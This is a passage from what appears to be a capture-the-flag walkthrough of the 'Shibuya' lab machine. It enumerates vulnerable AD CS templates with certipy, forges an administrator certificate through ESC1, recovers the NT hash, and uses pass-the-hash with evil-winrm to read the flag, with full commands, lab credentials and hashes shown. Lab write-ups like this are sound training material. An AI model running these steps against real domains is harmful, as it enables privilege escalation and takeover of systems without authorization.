┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy find -vulnerable -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -stdout [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:636 ... OK [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The resolution lifetime expired after 5.405 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'shibuya-AWSJPDC0522-CA' via RRP [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:445 ... OK [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'shibuya-AWSJPDC0522-CA' [*] Checking web enrollment for CA 'shibuya-AWSJPDC0522-CA' @ 'AWSJPDC0522.shibuya.vl' [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:80 ... OK [!] Error checking web enrollment: Server disconnected without sending a response. [!] Use -debug to print a stacktrace [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:443 ... OK [!] Error checking web enrollment: [SSL: UNEXPECTED_EOF_WHILE_READING] EOF occurred in violation of protocol (_ssl.c:1029) [!] Use -debug to print a stacktrace [*] Enumeration output: Certificate Authorities 0 CA Name : shibuya-AWSJPDC0522-CA DNS Name : AWSJPDC0522.shibuya.vl Certificate Subject : CN=shibuya-AWSJPDC0522-CA, DC=shibuya, DC=vl Certificate Serial Number : 2417712CBD96C58449CFDA3BE3987F52 Certificate Validity Start : 2025-02-15 07:24:14+00:00 Certificate Validity End : 2125-02-15 07:34:13+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SHIBUYA.VL\Administrators Access Rights ManageCa : SHIBUYA.VL\Administrators SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins ManageCertificates : SHIBUYA.VL\Administrators SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins Enroll : SHIBUYA.VL\Authenticated Users Certificate Templates 0 Template Name : ShibuyaWeb Display Name : ShibuyaWeb Certificate Authorities : shibuya-AWSJPDC0522-CA Enabled : True Client Authentication : True Enrollment Agent : True Any Purpose : True Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Private Key Flag : ExportableKey Extended Key Usage : Any Purpose Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 100 years Renewal Period : 75 years Minimum RSA Key Length : 4096 Template Created : 2025-02-15T07:37:49+00:00 Template Last Modified : 2025-02-19T10:58:41+00:00 Permissions Enrollment Permissions Enrollment Rights : SHIBUYA.VL\t1_admins SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins Object Control Permissions Owner : SHIBUYA.VL\_admin Full Control Principals : SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins Write Owner Principals : SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins Write Dacl Principals : SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins Write Property Enroll : SHIBUYA.VL\Domain Admins SHIBUYA.VL\Enterprise Admins [+] User Enrollable Principals : SHIBUYA.VL\t1_admins [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. ESC2 : Template can be used for any purpose. ESC3 : Template has Certificate Request Agent EKU set. ┌──(puck㉿kali)-[~/vulnlab/shibuya]
.
The CA is vulnerable to ESC8, and the certificate template is vulnerable to ESC1, ESC2, and ESC3.
Exploit
ESC1 is the simplest to exploit. I’m just going to request a certificate as administrator:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn administrator@shibuya.vl -target AWSJPDC0522.shibuya.vl [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The resolution lifetime expired after 5.404 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Requesting certificate via RPC [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:445 ... OK [*] Request ID is 4 [-] Got error while requesting certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template. Would you like to save the private key? (y/N):
It fails, as the public key is not big enough. I’ll add -key-size 4096
and it saves a certificate:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn administrator@shibuya.vl -target AWSJPDC0522.shibuya.vl -key-size 4096 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The resolution lifetime expired after 5.404 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Requesting certificate via RPC [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:445 ... OK [*] Request ID is 6 [*] Successfully requested certificate [*] Got certificate with UPN 'administrator@shibuya.vl' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx' ┌──(puck㉿kali)-[~/vulnlab/shibuya]
If I try to use this certificate, it fails:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy auth -pfx administrator.pfx -dc-ip 127.0.0.1 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: 'administrator@shibuya.vl' [*] Using principal: 'administrator@shibuya.vl' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK [-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Use -debug to print a stacktrace [-] See the wiki for more information
The administrator user isn’t in the Kerberos database. A quick look at BloodHound shows that the only member of the Domain Admins group is _admin:
I’ll update the target user principal name, and run again:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -target AWSJPDC0522.shibuya.vl -key-size 4096 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The resolution lifetime expired after 5.404 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Requesting certificate via RPC [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:445 ... OK [*] Request ID is 8 [*] Successfully requested certificate [*] Got certificate with UPN '_admin@shibuya.vl' [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to '_admin.pfx' [*] Wrote certificate and private key to '_admin.pfx'
Now the auth
command with that certificate still fails:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy auth -pfx _admin.pfx -dc-ip 127.0.0.1 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: '_admin@shibuya.vl' [*] Using principal: '_admin@shibuya.vl' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK [-] Object SID mismatch between certificate and user '_admin' [-] See the wiki for more information
Reading through this issue says that I need to provide the -sid
flag for the targeted user, which I’ll get from BloodHound:
I’ll request another certificate:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -target AWSJPDC0522.shibuya.vl -key-size 4096 -sid S-1-5-21-87560095-894484815-3652015022-500 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Requesting certificate via RPC [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.10.104.52:445 ... OK [*] Request ID is 9 [*] Successfully requested certificate [*] Got certificate with UPN '_admin@shibuya.vl' [*] Certificate object SID is 'S-1-5-21-87560095-894484815-3652015022-500' [*] Saving certificate and private key to '_admin.pfx' File '_admin.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y [*] Wrote certificate and private key to '_admin.pfx'
This time when I auth
it gives a TGT for the account as well as the NTLM hash:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains certipy auth -pfx _admin.pfx -dc-ip 127.0.0.1 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.2 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN UPN: '_admin@shibuya.vl' [*] SAN URL SID: 'S-1-5-21-87560095-894484815-3652015022-500' [*] Security Extension SID: 'S-1-5-21-87560095-894484815-3652015022-500' [*] Using principal: '_admin@shibuya.vl' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK [*] Got TGT [*] Saving credential cache to '_admin.ccache' [*] Wrote credential cache to '_admin.ccache' [*] Trying to retrieve NT hash for '_admin' [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK [*] Got hash for '_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:bab5b2a004eabb11d865f31912b6b430
.
WinRM
TCP 5985 isn’t available from my host, but it is open on Shibuya:
I’ll use proxychains
to connect over my existing socks proxy:
┌──(puck㉿kali)-[~/vulnlab/shibuya] └─$ proxychains evil-winrm -i 127.0.0.1 -u _admin -H bab5b2a004eabb11d865f31912b6b430 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:5985 ... OK *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:5985 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:5985 ... OK *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2/16/2025 2:34 AM 2304 Microsoft Edge.lnk -a---- 2/16/2025 2:43 AM 36 root.txt *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt VL{b1<REDACTED>cc} *Evil-WinRM* PS C:\Users\Administrator\Desktop>
That was fun.